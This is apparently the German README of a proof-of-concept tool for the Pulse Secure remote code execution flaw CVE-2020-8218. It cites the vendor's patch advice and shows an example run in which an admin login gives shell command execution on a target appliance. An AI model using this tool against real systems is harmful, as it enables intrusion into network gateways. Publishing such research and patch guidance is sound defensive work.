
Tool zum Testen auf das Vorhandensein von CVE-2020-8218
_____ _____ _____ _____ _____
/\ \ /\ \ /\ \ /\ \ /\ \
/::\ \ /::\____\ /::\____\ /::\ \ /::\ \
/::::\ \ /:::/ / /:::/ / /::::\ \ /::::\ \
/::::::\ \ /:::/ / /:::/ / /::::::\ \ /::::::\ \
/:::/\:::\ \ /:::/ / /:::/ / /:::/\:::\ \ /:::/\:::\ \
/:::/__\:::\ \ /:::/ / /:::/ / /:::/__\:::\ \ /:::/__\:::\ \
/::::\ \:::\ \ /:::/ / /:::/ / \:::\ \:::\ \ /::::\ \:::\ \
/::::::\ \:::\ \ /:::/ / _____ /:::/ / ___\:::\ \:::\ \ /::::::\ \:::\ \
/:::/\:::\ \:::\____\ /:::/____/ /\ \ /:::/ / /\ \:::\ \:::\ \ /:::/\:::\ \:::\ \
/:::/ \:::\ \:::| ||:::| / /::\____\/:::/____/ /::\ \:::\ \:::\____\/:::/__\:::\ \:::\____\
\::/ \:::\ /:::|____||:::|____\ /:::/ /\:::\ \ \:::\ \:::\ \::/ /\:::\ \:::\ \::/ /
\/_____/\:::\/:::/ / \:::\ \ /:::/ / \:::\ \ \:::\ \:::\ \/____/ \:::\ \:::\ \/____/
\::::::/ / \:::\ \ /:::/ / \:::\ \ \:::\ \:::\ \ \:::\ \:::\ \
\::::/ / \:::\ /:::/ / \:::\ \ \:::\ \:::\____\ \:::\ \:::\____\
\::/____/ \:::\__/:::/ / \:::\ \ \:::\ /:::/ / \:::\ \::/ /
~~ \::::::::/ / \:::\ \ \:::\/:::/ / \:::\ \/____/
\::::::/ / \:::\ \ \::::::/ / \:::\ \
\::::/ / \:::\____\ \::::/ / \:::\____\
\::/____/ \::/ / \::/ / \::/ /
~~ \/____/ \/____/ \/____/
Proof-of-Concept-Tool zum Testen auf das Vorhandensein von Pulse Secure RCE (CVE-2020-8218) und zur Förderung weiterer Forschung. Dieses Tool wurde um den POC aus dem GoSecure Advisory herum gebaut. Alle Anerkennung gebührt ihnen für den Fund.
Wie von Pulse Secure empfohlen: "Die Lösung für diese Schwachstellen besteht darin, die Server-Softwareversion von Pulse Connect Secure und Pulse Policy Secure auf die 9.1R8 zu aktualisieren. Die folgende PCS/PPS-Version kann von https://my.pulsesecure.net heruntergeladen werden."
Example usage:
withdk@hogwarts source % python pulse-gosecure-rce.py -u https://192.168.1.120 --user admin --password mypassword
[*] Successfully logged in
(Cmd) ls /
[*] Sending cmd ls /
[*] Sending exploit...
[*] Getting output...
******************************************
2.6.32.358-x86_64
bin
boot
cgroups
data
dev
etc
home
lib
lib64
modules
opt
pkg
proc
runtime
sbin
sys
tmp
usr
va
var
webserver
******************************************
(Cmd) exit
Bye
[*] Getting logout URL
[*] Sending logout URL
[*] Successfully logged out.
DK @withdk
September 2020
DIE SOFTWARE WIRD OHNE JEGLICHE AUSDRÜCKLICHE ODER STILLSCHWEIGENDE GEWÄHRLEISTUNG BEREITGESTELLT, EINSCHLIESSLICH, ABER NICHT BESCHRÄNKT AUF DIE GEWÄHRLEISTUNG DER MARKTGÄNGIGKEIT, DER EIGNUNG FÜR EINEN BESTIMMTEN ZWECK UND DER NICHTVERLETZUNG VON RECHTEN DRITTER. IN KEINEM FALL HAFTEN DIE AUTOREN ODER URHEBER FÜR JEGLICHE ANSPRÜCHE, SCHÄDEN ODER SONSTIGE VERBINDLICHKEITEN, OB AUS VERTRAG, UNERLAUBTER HANDLUNG ODER ANDERWEITIG, DIE SICH AUS DER SOFTWARE ODER DER NUTZUNG DER SOFTWARE ERGEBEN.